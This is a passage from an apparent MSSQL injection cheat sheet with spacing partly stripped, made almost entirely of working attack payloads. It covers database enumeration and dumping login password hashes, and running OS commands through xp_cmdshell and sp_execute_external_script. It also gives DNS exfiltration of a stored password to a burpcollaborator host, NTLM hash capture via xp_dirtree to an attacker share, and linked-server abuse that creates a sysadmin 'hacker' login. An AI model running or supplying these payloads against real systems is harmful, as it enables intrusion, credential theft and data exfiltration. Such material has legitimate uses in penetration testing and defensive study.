SELECTnameFROMmaster..sysdatabases;SELECTDB_NAME(N); — for N =0, 1, 2, …SELECTSTRING_AGG(name, ', ') FROMmaster..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
MSSQL List columns
SELECTnameFROM syscolumns WHERE id = (SELECT id FROM sysobjects WHEREname= ‘mytable’); — for the current DB onlySELECTmaster..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROMmaster..syscolumns, master..sysobjects WHEREmaster..syscolumns.id=master..sysobjects.id ANDmaster..sysobjects.name=’sometable’; — list colum names and types formaster..sometableSELECT table_catalog, column_name FROM information_schema.columns
MSSQL List tables
SELECTnameFROMmaster..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for viewsSELECTnameFROM someotherdb..sysobjects WHERE xtype = ‘U’;SELECTmaster..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROMmaster..syscolumns, master..sysobjects WHEREmaster..syscolumns.id=master..sysobjects.id ANDmaster..sysobjects.name=’sometable’; — list colum names and types formaster..sometableSELECT table_catalog, table_name FROM information_schema.columnsSELECTSTRING_AGG(name, ', ') FROMmaster..sysobjects WHERE xtype ='U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
MSSQL Extract user/password
MSSQL 2000:SELECTname, passwordFROMmaster..sysxloginsSELECTname, master.dbo.fn_varbintohexstr(password) FROMmaster..sysxlogins (Need to convert to hex toreturn hashes in MSSQL error message/ some version of query analyzer.)MSSQL 2005SELECTname, password_hash FROM master.sys.sql_loginsSELECTname+'-'+ master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
MSSQL Union Based
-- extract databases names$ SELECTnameFROMmaster..sysdatabases[*] Injection[*] msdb[*] tempdb-- extract tables from Injection database$ SELECTnameFROM Injection..sysobjects WHERE xtype ='U'[*] Profiles[*] Roles[*] Users-- extract columns for the table Users$ SELECTnameFROM syscolumns WHERE id = (SELECT id FROM sysobjects WHEREname='Users')[*] UserId[*] UserName-- Finally extract the data$ SELECT UserId, UserName from Users
Executed by a different user than the one using xp_cmdshell to execute commands
#Print the user being used (and execute commands)EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'#Open and read a fileEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'#MultilineEXECUTE sp_execute_external_script @language = N'Python', @script = N'import sysprint(sys.version)'GO
MSSQL Out of band
MSSQL DNS exfiltration
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
# Permissions: Requires VIEW SERVER STATE permission on the server.1 and exists(select *from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))# Permissions: Requires the CONTROL SERVER permission.1 (select 1where exists(select *from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))1 and exists(select *from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
MSSQL UNC Path
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
The links between databases work even across forest trusts.
msf> use exploit/windows/mssql/mssql_linkcrawler[msf>setDEPLOYtrue] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
Manual exploitation
-- find linkselect*frommaster..sysservers-- execute query through the linkselect*fromopenquery("dcorp-sql1", 'select * from master..sysservers')selectversionfromopenquery("linkedserver", 'select @@version as version');-- chain multiple openqueryselectversionfromopenquery("link1",'select version from openquery("link2","select @@version as version")')-- execute shell commandsEXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServerselect1fromopenquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')-- create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT"DOMINIO\SERVER2"EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT"DOMINIO\SERVER2"
List permissions
Listing effective permissions of current user on the server.
SELECT*FROM fn_my_permissions(NULL, 'SERVER');
Listing effective permissions of current user on the database.
SELECT*FROM fn_my_permissions (NULL, 'DATABASE');
Listing effective permissions of current user on a view.
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
Check if current user is a member of the specified server role.